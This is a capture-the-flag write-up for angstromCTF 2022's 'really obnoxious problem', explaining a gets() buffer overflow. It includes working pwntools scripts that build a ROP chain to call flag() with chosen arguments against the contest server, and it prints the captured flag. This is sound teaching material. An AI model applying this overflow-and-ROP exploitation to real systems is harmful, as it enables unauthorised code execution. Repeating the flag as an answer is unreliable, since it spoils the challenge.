> For the complete documentation index, see [llms.txt](https://arne-ctf.gitbook.io/ctf/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://arne-ctf.gitbook.io/ctf/2022/angstromctf-2022/pwn-really-obnoxious-problem.md).

# Pwn - really obnoxious problem

## Description

You know the drill.

## Downloads

{% file src="/files/1NGC7QQrHp84dQMLEnEz" %}

## Solution

Didn't manage to solve this during the CTF but I should have.

The program is quite straightforward,

<div align="left"><img src="/files/WqkwC5U392bItowiNRLo" alt=""></div>

We have a buffer overflow in `gets()` because there is no boundary check. We shall use a cyclic pattern to find out what is the offset required to control `rip`.

`msf-pattern_create -l 200` to generate the cyclic pattern:

![](/files/ezoruZbpCSvjDyGVrrhb)

Using `gdb`, we find out what is in the ret address:&#x20;

![](/files/3Z2UOQn1VaGz9wngBRxz)

`msf-pattern_offset -l 200 -q 6341356341346341` to find the offset.

![](/files/KgaVqUQZg2H87A0UCA2e)

Now we have control over `rip`, it is time to find the "win" function and conveniently we have the `flag()` function available.

![](/files/75h5IE8zQARI6IdxsEas)

To "win", we need to pass in 2 arguments before calling the function and this can be done with a ROP chain. In Linux x64 calling convention, the function arguments are passed via `rdi`, `rsi`, `rdx`, `rcx`, `r8`, `r9` registers.

`ROPgadget --binary ./really_obnoxious_problem --ropchain` to find the ROP gadgets.

![](/files/fgDf2QTqoaUL79hxO4DT)

We have found 2 useful gadgets, `pop rdi; ret` and `pop rsi; pop r15; ret`.

Next we want to find the address of "bobby" which we want to populate the second argument with. This can be done from Ghidra itself.

![](/files/7OkdvwudBR5N8l775Cvl)

Now that we have everything we need, let's try to craft the exploit.

```python
from pwn import *
context.log_level = 'debug'

r = remote("challs.actf.co", 31225)
#r = process("./really_obnoxious_problem")

arg1 = p64(0x1337)
arg2 = p64(0x402004)

pop_rdi = p64(0x4013f3)
pop_rsi_r15 = p64(0x4013f1)

flag = p64(0x401256)

payload = b'A' * 72
payload += pop_rdi
payload += arg1
payload += pop_rsi_r15
payload += arg2
payload += p64(0x0)
payload += flag

r.sendlineafter(b'Name: ', b'A')
r.sendlineafter(b'Address: ', payload)
r.interactive()
r.close()
```

![](/files/lcRm3WOeO0bDNH9sAmrs)

Flag: `actf{so_swe3t_so_c0ld_so_f4ir_7167cfa2c019}`

## Bonus

Instead of doing all the hard work of finding the ROP gadgets and stuff `pwntools` can actually do most of the heavy lifting for us.

```python
from pwn import *

r = remote("challs.actf.co", 31225)
elf = context.binary = ELF("./really_obnoxious_problem")
context.log_level = 'debug'

offset = 72

# Create ROP object
rop = ROP(elf)

rop.flag(0x1337, next(elf.search(b'bobby')))

# Build the payload
payload = flat({
	offset: [
		rop.chain()
	]
})

# Send payload
r.sendlineafter(b'Name: ', b'A')
r.sendlineafter(b'Address: ', payload)

# Get flag
r.interactive()
r.close()
```
